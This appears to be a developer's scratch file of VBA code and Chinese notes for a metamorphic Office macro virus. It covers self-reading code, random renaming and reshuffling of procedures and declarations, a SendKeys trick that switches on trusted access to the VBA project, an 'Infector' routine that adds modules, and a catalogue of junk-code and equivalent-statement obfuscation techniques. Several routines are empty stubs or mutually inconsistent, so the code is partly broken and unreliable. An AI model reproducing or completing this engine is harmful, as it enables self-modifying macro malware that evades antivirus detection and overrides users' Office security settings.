无意义2

[cphj]

Private Sub ProcessLine_ReplaceNumber(oldline As String, b As Long, e As Long, newline As String)
    Dim ind As String
    Dim wd() As String
    Dim vb As Integer, ve As Integer
    Dim newname As String
    Dim i As Long
    If e >= b Then
        ind = Space(Len(oldline) - Len(LTrim$(oldline)))
        wd = Split(Mid$(oldline, b, e - b + 1), " ")
        For i = 0 To UBound(wd)
            If Len(wd(i)) > 0 Then
                vb = Asc(Left$(wd(i), 1))
                ve = Asc(Right$(wd(i), 1))
                If vb >= 48 And vb <= 57 And ve >= 48 And ve <= 57 Then
                    newname = GenerateName(8)
                    newline = ind & "Dim " & newname & " As Double" & vbNewLine & ind & newname & " = " & wd(i) & vbNewLine & newline
                    wd(i) = newname
                End If
            End If
        Next
        newline = newline & Join(wd, " ")
    End If
End Sub

Private Function GenerateName(n As Byte) As String
    GenerateName = Chr$(Int(Rnd * 26 + 97))
    Dim i As Byte
    For i = 2 To n
        GenerateName = GenerateName & IIf(Rnd * 18 / 13 < 1, Chr$(Int(Rnd * 26 + 97)), Chr$(Int(Rnd * 10 + 48)))
    Next
End Function

Private Sub Permutator_ShuffleDeclaration(sarr() As String)
    ShuffleDeclaration_ProcessBlock sarr, 0, ""
End Sub

Private Function ShuffleDeclaration_ProcessBlock(sarr() As String, b As Long, eos As String) As Long
    ReDim barr(b To b) As Long, earr(b To b) As Long
    Dim n As Long
    n = b
    Dim r As Long
    Dim tmp As String
    Dim sline As String
    Dim i As Long, j As Long
    For i = b To UBound(sarr)
        ReDim Preserve barr(b To n), earr(b To n)
        sline = LTrim$(sarr(i))
        If sline Like "* Sub *" Then
            barr(n) = i
            earr(n) = ShuffleDeclaration_ProcessBlock(sarr, i + 1, "End Sub")
            i = earr(n)
        ElseIf sline Like "* Function *" Then
            barr(n) = i
            earr(n) = ShuffleDeclaration_ProcessBlock(sarr, i + 1, "End Function")
            i = earr(n)
        ElseIf sline Like "If *" Then
            barr(n) = i
            earr(n) = ShuffleDeclaration_ProcessBlock(sarr, i + 1, "End If")
            i = earr(n)
        ElseIf sline Like "For *" Then
            barr(n) = i
            earr(n) = ShuffleDeclaration_ProcessBlock(sarr, i + 1, "Next")
            i = earr(n)
        ElseIf (sline Like "Dim *" Or sline Like "Const *") And i > b Then
            barr(n) = i
            earr(n) = i
            
            r = IIf(Rnd > 0.5, Int(Rnd * (n - b + 1) + b), n)
            
            tmp = sarr(i)
            For j = earr(n - 1) To barr(r) Step -1
                sarr(j + 1) = sarr(j)
            Next
            sarr(barr(r)) = tmp
            
            For j = n - 1 To r Step -1
                barr(r + 1) = barr(r) + 1
                earr(r + 1) = earr(r) + 1
            Next
            earr(r) = barr(r)
        ElseIf sline = eos And Len(eos) > 0 Then
            ShuffleDeclaration_ProcessBlock = i
            Exit Function
        Else
            barr(n) = i
            earr(n) = i
        End If
        n = n + 1
    Next
End Function

Private Sub Permutator_ShuffleProc(sarr() As String)
    ReDim barr(0 To 0) As Long, earr(0 To 0) As Long
    Dim n As Long
    n = 0
    Dim eos As String
    Dim sline As String
    Dim i As Long
    For i = 0 To UBound(sarr)
        sline = LTrim$(sarr(i))
        If sline Like "* Sub *" Then
            ReDim Preserve barr(0 To n), earr(0 To n)
            barr(n) = i
            eos = "End Sub"
        ElseIf sline Like "* Function *" Then
            ReDim Preserve barr(0 To n), earr(0 To n)
            barr(n) = i
            eos = "End Function"
        ElseIf sline = eos Then
            earr(n) = i
            n = n + 1
        End If
    Next
    
    Dim r As Long
    Dim tmp As Long
    For i = 0 To n - 2
        r = Int(Rnd * (n - i) + i)
        tmp = barr(i)
        barr(i) = barr(r)
        barr(r) = tmp
        tmp = earr(i)
        earr(i) = earr(r)
        earr(r) = tmp
    Next
    
    Dim newall As String
    Dim j As Long
    For i = 0 To n - 1
        For j = barr(i) To earr(i)
            newall = newall & sarr(j) & vbNewLine
        Next
    Next
    sarr = Split(newall, vbNewLine)
End Sub

Private Sub Permutator_AbbreviateType(sarr() As String)
    Dim full() As String
    full = Split("Integer Long Single Double Currency String", " ")
    Dim abbr() As String
    abbr = Split("% & ! # @ $", " ")
    Dim i As Long, j As Long
    For i = 0 To UBound(full)
        For j = 0 To UBound(sarr)
            sarr(j) = Replace$(sarr(j), "() As " & full(i), abbr(i) & "()", Compare:=vbBinaryCompare)
            sarr(j) = Replace$(sarr(j), " As " & full(i), abbr(i), Compare:=vbBinaryCompare)
        Next
    Next
End Sub

Private Sub Permutator_UniteDeclaration(sarr() As String)
    Dim newall As String
    Dim bos As String
    Dim b As Long, e As Long
    Dim sline As String
    Dim i As Long
    For i = 0 To UBound(sarr)
        sline = LTrim$(sarr(i))
        If Len(bos) > 0 Then
            If sline Like bos Then
                newall = newall & ", " & Mid$(sline, Len(bos) - 1)
            Else
                newall = newall & vbNewLine
                bos = ""
            End If
        End If
        If Len(bos) = 0 Then
            If sline Like "Dim *" Then
                bos = "Dim *"
                newall = newall & sarr(i)
            ElseIf sline Like "Const *" Then
                bos = "Const *"
                newall = newall & sarr(i)
            Else
                newall = newall & sarr(i) & vbNewLine
            End If
        End If
    Next
    
    sarr = Split(newall, vbNewLine)
End Sub

Private Sub Encrypt(s As String, k As String)
    Dim v As Integer
    Dim i As Long
    For i = 1 To Len(s)
        v = Asc(Mid$(s, i, 1))
        If v >= 32 And v <= 126 Then
            Mid$(s, i, 1) = Chr$((v + 94 - Asc(Mid$(k, (i - 1) Mod Len(k) + 1, 1))) Mod 95 + 32)
        End If
    Next
End Sub

[cphj]

Public Sub Metamorphism()
Dim cm As Object
Set cm = Application.VBE.ActiveCodePane.CodeModule

Dim s As String
s = cm.Lines(1, cm.CountOfLines)

t = cm.ProcBodyLine("Metamorphism", 0)
t = cm.ProcCountLines("Metamorphism", 0)
t = cm.ProcStartLine("Metamorphism", 0)

t = cm.ProcOfLine(1, 0)

Encrypt s, 2746

Dim mdl As Object
'Set mdl = dest.VBProject.VBComponents.Add(vbext_ct_StdModule)
'mdl.Name = i.Name
'mdl.CodeModule.AddFromString String:=i.CodeModule.Lines(1, i.CodeModule.CountOfLines)

MsgBox s

Decrypt s, 2746
MsgBox s

'注释
'Application.VBE.CodePanes(2).CodeModule.Find "Tabs.Clear", 1261, 1, 1280, 1, False, False
'Application.Run "ddd"
End Sub

Private Sub Encrypt(s As String, k As Long)
Dim i As Long
Dim c As Integer
Rnd -k
For i = 1 To Len(s)
c = Asc(Mid(s, i, 1))
If c >= 32 And c <= 126 Then
c = (c - 32 + 126 - Int(Rnd * 95) + 32) Mod (126 - 32 + 1) + 32
Mid(s, i, 1) = ChrB(c)
End If
Next
End Sub

Private Sub Decrypt(s As String, k As Long)
Dim i As Long
Dim c As Integer
Rnd -k
For i = 1 To Len(s)
c = Asc(Mid(s, i, 1))
If c >= 32 And c <= 126 Then
c = (c - 32 + Int(Rnd * 95) + 32) Mod (126 - 32 + 1) + 32
Mid(s, i, 1) = ChrB(c)
End If
Next
End Sub

[cphj]

Option Explicit
Option Compare Text
Private Const key1 = 33, key2 = 44
Private Const key As Long = 2746
Private codeall As String
Private codelines() As String
Private trimcodelines() As String
Private varname() As String
Private varcount As Long

Public Sub MainEntrance()
    OpenTrustAuthorization
    ReadCode
    Shrinker
    Permutator
    Expander
    Infector
    
    'MsgBox codeall
    
End Sub

Private Sub OpenTrustAuthorization()
    On Error Resume Next
    Dim cm As Object
    Set cm = Application.VBE.ActiveCodePane.CodeModule
    If Err.Number <> 0 Then
        Err.Clear
        SendKeys "%(tmstv)~", True
    End If
    On Error GoTo 0
End Sub

Private Sub ReadCode()
    codeall = ""
    Erase codelines
    Erase trimcodelines
    Dim cm As Object
    Set cm = Application.VBE.ActiveCodePane.CodeModule
    codeall = cm.Lines(1, cm.CountOfLines)
    codelines = Split(codeall, vbCrLf)
    ReDim trimcodelines(0 To UBound(codelines))
    Dim i As Long
    For i = LBound(codelines) To UBound(codelines)
        trimcodelines(i) = Trim(codelines(i))
    Next
End Sub

Private Sub Shrinker()
End Sub

Private Sub Permutator()
    ReDim varname(0 To UBound(trimcodelines))
    varcount = 0
    Dim i As Long
    For i = LBound(trimcodelines) To UBound(trimcodelines)
        If trimcodelines(i) Like "'*" Then
        ElseIf trimcodelines(i) Like "Public Const *" Then
            ExtractVarName codelines(i), "Public Const "
        ElseIf trimcodelines(i) Like "Public Sub *" Then
            ExtractVarName codelines(i), "Public Sub "
        ElseIf trimcodelines(i) Like "Public *" Then
            ExtractVarName codelines(i), "Public "
        ElseIf trimcodelines(i) Like "Private Const *" Then
            ExtractVarName codelines(i), "Private Const "
        ElseIf trimcodelines(i) Like "Private Sub *" Then
            ExtractVarName codelines(i), "Private Sub "
        ElseIf trimcodelines(i) Like "Private *" Then
            ExtractVarName codelines(i), "Private "
        ElseIf Trim(codelines(i)) Like "Dim *" Then
            ExtractVarName codelines(i), "Dim "
        End If
    Next
    MsgBox Str(varcount) & Join(varname)
End Sub

Private Sub ExtractVarName(s As String, k As String)
    Dim t() As String
    Dim b As Long, e As Long, e_bracket As Long, e_space As Long
    Dim i As Long
    t = Split(s, ",")
    b = InStr(1, t(0), k) + Len(k)
    e_bracket = InStr(b, t(0), "(")
    e_space = InStr(b, t(0), " ")
    If e_bracket > 0 And e_space > 0 Then
        e = IIf(e_bracket < e_space, e_bracket, e_space)
    ElseIf e_bracket > 0 Then
        e = e_bracket
    ElseIf e_space > 0 Then
        e = e_space
    End If
    varname(varcount) = Mid(t(0), b, e - b)
    varcount = varcount + 1
    For i = LBound(t) + 1 To UBound(t)
        b = 2
        e_bracket = InStr(b, t(i), "(")
        e_space = InStr(b, t(i), " ")
        If e_bracket > 0 And e_space > 0 Then
            e = IIf(e_bracket < e_space, e_bracket, e_space)
        ElseIf e_bracket > 0 Then
            e = e_bracket
        ElseIf e_space > 0 Then
            e = e_space
        End If
        varname(varcount) = Mid(t(i), b, e - b)
        varcount = varcount + 1
    Next
End Sub

Private Sub Expander()
    
End Sub

Private Sub Infector()
    Dim mdl As Object
    Set mdl = Application.VBE.ActiveVBProject.VBComponents.Add(1)
    mdl.Name = "Test"
    'mdl.CodeModule.AddFromString String:=i.CodeModule.Lines(1,i.CodeModule.CountOfLines)
End Sub

[cphj]

1. 更改名字

变量名（变量、数组、常量）
函数名（过程、函数）

第一个字符必须使用英文字母
大小写字母和数字
0-9 48-57
A-Z 65-90
a-z 97-122

------------------------------------------------------------

2. 调换次序

变量声明可以放在使用之前的任何位置

函数体可以任意调换次序

*变量赋值!不!能放在使用之前的任何位置，因为中间语句可能会间接影响变量获得的值

------------------------------------------------------------

3. 等价语句

类型名缩写
Integer %
Long &
Single !
Double #
Currency@
String $

变量类型扩大
Integer
Long
Single
Double
Currency
Variant
缺省

合并成单条声明语句

不会多次调用的函数加Static声明

用字面常量替代命名常量，计算表达式之后，再用命名常量替代字面常量
*变量!不!能用赋值语句右侧的内容替代，因为右侧内容可能会发生变化

???表达式拆分

等价表达式
+ a -(-a)
- a +(-a)
2 * a a/0.5
a Mod b a - a \ b
a And b Not((Not a) Or (Not b))
a Or b Not((Not a) And (Not b))
a >= b Not a<b
a <= b Not a>b
a > b Not a<=b
a < b Not a>b

If a And b Then c If a Then If b Then c
If a Or b Then c If a Then c
If b Then c

a.b With a
.b
End With

Do Until a Do While Not a
Loop Loop

Do Do
Loop Until a Loop While Not a

a
Do Do While
a a
Loop While Loop

While Do While
End While Loop

For i = 1 To n i = 1
Next Do While i <= n
i = i + 1
Loop

' :Rem

Chr Chr$
Mid Mid$

------------------------------------------------------------

4. 垃圾语句

+-
*/

And True
Or False

...
Goto lable1
:label2
语句
Goto label3
:lable1
...
Goto label2
:label3

Call sub1
各sub调换顺序
Call 空Sub

Exit Sub/Function
符合语法的任意语句

自赋值 a = a

字面数字拆分 5->(3+2)

给整形数赋小数自动四舍五入 Dim a As Integer
a = 5.8 'a=6

If True Then
Endif

If a > 5 Then
...
Else
...
Endif

For i = 1 To n+m
If i > n Then Exit For

Step 1